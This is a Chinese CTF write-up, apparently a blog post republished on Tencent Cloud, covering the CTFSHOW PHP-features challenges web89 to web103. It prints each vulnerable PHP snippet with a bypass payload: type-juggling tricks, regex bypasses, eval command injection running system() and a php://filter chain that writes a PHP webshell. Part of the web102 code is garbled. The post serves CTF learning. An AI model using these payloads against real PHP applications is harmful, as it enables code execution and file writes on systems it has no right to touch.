前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTFSHOW刷题之旅--PHP特性[89-150](未完)

CTFSHOW刷题之旅--PHP特性[89-150](未完)

作者头像
YanXia
发布2023-04-07 16:55:25
1.2K0
发布2023-04-07 16:55:25
举报
文章被收录于专栏:YX’blog

web89

代码语言:javascript
复制
<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}
99300-0aqkjj1ha2ua.png
99300-0aqkjj1ha2ua.png

因此,我们用数组绕过

?num[]=

web90

代码语言:javascript
复制
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
67952-72abentpuwt.png
67952-72abentpuwt.png
代码语言:javascript
复制
payload:?num=4476a

web92

代码语言:javascript
复制
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

字符 ^ 和 $ 同时使用时,说明我们需要匹配以php开头和以php结尾的字符 /m 是多行匹配.这里我们可以用%0a也就是换行符来绕过第二个if。

代码语言:javascript
复制
payload:/?cmd=php%0aphp

web93

代码语言:javascript
复制
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这里说明不可以利用php弱类型和十六进制绕过。但是没关系我们可以利用 . 来绕过

代码语言:javascript
复制
payload:?num=4476.1

web94

代码语言:javascript
复制
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){  //意思其实就是说字符串第一个不能是0,因为!0=1就成立了
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

因为这里字母被过滤了所以只能用八进制绕过了

代码语言:javascript
复制
payload:?num=%20010574

web95

代码语言:javascript
复制
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

这题只是在第一个if处变成弱比较,第二个处多了个对 . 的过滤。我们依旧可以用web94的方法来绕过

web96

代码语言:javascript
复制
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

在linux中表示当前目录是 ./

代码语言:javascript
复制
payload:?u=./flag.php

web97

代码语言:javascript
复制
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

这题在md5处是===强等于,我们可以利用数组强行转化类型返回null值来绕过

代码语言:javascript
复制
payload:a[]=1&b[]=2

web98

代码语言:javascript
复制
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
64868-xdhs84fmwro.png
64868-xdhs84fmwro.png
22965-0lealmruxajr.png
22965-0lealmruxajr.png

web99

代码语言:javascript
复制
<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php+eval($_POST[cmd]);?>
} ?>
40905-r312gc2h8fq.png
40905-r312gc2h8fq.png

web100

代码语言:javascript
复制
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
}
?>

is_numeric() 函数用于检测变量是否为数字或数字字符串。如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回空值,即 FALSE。

eval("v2传递一个命令,v3传递 ; 所以这里逻辑关系就是

这是因为它的运算符优先级是&&>=>and 他会先将前面的值赋给后面。从而导致这里返回是TRUE

代码语言:javascript
复制
payload:?v1=1&v2=system("nl ctfshow.php")&v3=;
16345-ubzc6zua1rd.png
16345-ubzc6zua1rd.png

然后把0x2d改成-即可。

web101

代码语言:javascript
复制
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
}
?>

这题比上题多了些过滤,进查找资料得知,这里是用php5新加入的反射类ReflectionClass来做 ReflectionClass反射类可以与已定义的类建立映射关系

代码语言:javascript
复制
payload:?v1=1&v2=echo new Reflectionclass&v3=;

web102

<?php

highlight_file(__FILE__);v1 = _POST['v1'];v2 = _GET['v2'];v3 = _GET['v3'];v4 = is_numeric(v2) and is_numeric(v3);if(v4){

代码语言:javascript
复制
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);//将$str内容写到$v3中

} else{

代码语言:javascript
复制
die('hacker');

} ?>

16820-z9e85xzxl6l.png
16820-z9e85xzxl6l.png
58677-2xgi3e8hqjw.png
58677-2xgi3e8hqjw.png

所以说,这里的v1可以用来传递函数解密v2传递进来的值,而v2可以写php文件,v3写文件名 由于这里v4要为真,所以说这里的v2需要为数字或者e(科学计数法)

27769-i14v4jusak.png
27769-i14v4jusak.png
代码语言:javascript
复制
payload:/?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=12.php
post:v1=hex2bin
35286-f1fkoigsv2.png
35286-f1fkoigsv2.png

web103

代码语言:javascript
复制
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}
?>

payload同web102

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021年08月17日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • web89
  • web90
  • web92
  • web93
  • web94
  • web95
  • web96
  • web97
  • web98
  • web99
  • web100
  • web101
  • web102
  • web103
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档